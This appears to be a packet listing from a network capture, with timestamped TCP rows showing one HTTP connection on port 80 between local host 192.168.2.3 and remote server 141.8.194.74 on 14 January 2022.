Jan 14, 2022 01:52:07.697427034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697463036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697485924 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.697500944 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697537899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697561026 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.697577000 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697613955 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697634935 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.697652102 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697690010 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697702885 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.697729111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697766066 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697803974 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.697817087 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.698676109 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.746362925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746433020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746475935 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746515036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746546984 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.746552944 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746591091 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746592999 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.746629953 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746670008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746682882 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.746710062 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746722937 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.746759892 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746812105 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.746818066 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746859074 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746896029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746917963 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.746937037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746977091 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.746983051 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747015953 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747056007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747093916 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747095108 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747133017 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747172117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747184038 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747208118 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747241974 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747246981 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747294903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747322083 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747334957 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747337103 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747376919 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747411966 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747415066 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747452974 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747477055 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747490883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747528076 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747545004 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747566938 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747606039 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747647047 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747648954 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747688055 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747724056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747739077 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747761965 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747766972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747801065 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747838020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747858047 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747875929 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747915030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747937918 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.747953892 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.747992992 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748028994 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748050928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748066902 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748087883 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748106003 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748142958 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748181105 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748202085 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748219013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748256922 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748272896 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748297930 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748334885 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748358011 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748373032 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748374939 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748410940 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748446941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748461008 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748485088 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748519897 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748558044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748574972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748598099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748624086 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748635054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748672009 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748696089 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748709917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748745918 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748759031 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748783112 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748821020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748858929 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748872042 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748897076 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748933077 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748948097 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.748970985 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.748976946 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.749008894 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749046087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749068975 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.749083042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749120951 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749157906 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749171019 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.749197006 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749233007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749245882 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.749269962 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749290943 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.749309063 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749345064 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749383926 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.749402046 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.749427080 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.772732019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772767067 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772803068 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772825956 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772847891 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772850990 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.772869110 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772891045 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772912979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772918940 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.772936106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772957087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772979021 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.772983074 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773000002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773020983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773029089 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773045063 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773066998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773070097 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773087978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773111105 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773114920 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773133993 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773139000 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773155928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773179054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773188114 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773200035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773221970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773247004 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773260117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773283958 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773305893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773317099 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773328066 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773350954 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773365021 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773374081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773397923 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773399115 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773422956 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773425102 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773446083 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773468018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773489952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773490906 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773513079 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773526907 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773535013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773556948 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773577929 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773585081 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773600101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773618937 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773622990 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773644924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.773647070 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.773710966 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824250937 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824290991 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824312925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824331999 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824352980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824374914 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824397087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824417114 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824440002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824445009 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824462891 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824484110 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824484110 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824506044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824527979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824533939 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824548006 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824570894 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824590921 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824590921 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824611902 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824632883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824634075 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824655056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824665070 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824676037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824696064 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824697018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824717999 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824738979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824747086 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824759960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824780941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824795008 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824801922 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824805021 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824824095 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824846029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824867964 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824872017 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824892998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824915886 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824928999 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824937105 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824959040 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824959993 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.824981928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.824991941 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825004101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825026035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825030088 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825047970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825069904 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825078964 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825089931 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825113058 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825136900 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825136900 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825160027 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825170994 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825181961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825202942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825207949 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825225115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825243950 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825253010 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825265884 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825285912 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825308084 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825316906 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825329065 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825349092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825360060 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825370073 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825371027 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825390100 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825411081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825419903 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825432062 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825452089 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825473070 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825479031 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825498104 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825517893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825529099 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825537920 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825540066 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825558901 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825578928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825583935 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825598955 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825620890 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825640917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825644970 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825661898 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825681925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825691938 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825702906 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825704098 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825725079 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825745106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825757980 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825767040 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825788021 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825797081 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825809002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825830936 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825836897 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825870991 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825891972 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825911999 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825932980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825937986 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825952053 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.825962067 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.825999975 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.848731995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.848768950 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.848790884 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.848854065 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.848870039 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.848875046 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.848896980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.848903894 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.848920107 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.848928928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.848941088 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.848962069 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.848984003 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.848984003 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849008083 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849030018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849050045 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849060059 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849071026 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849092960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849093914 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849112988 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849133968 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849143982 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849154949 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849175930 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849179983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849196911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849217892 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849234104 CET	49922	80	192.168.2.3	141.8.194.74
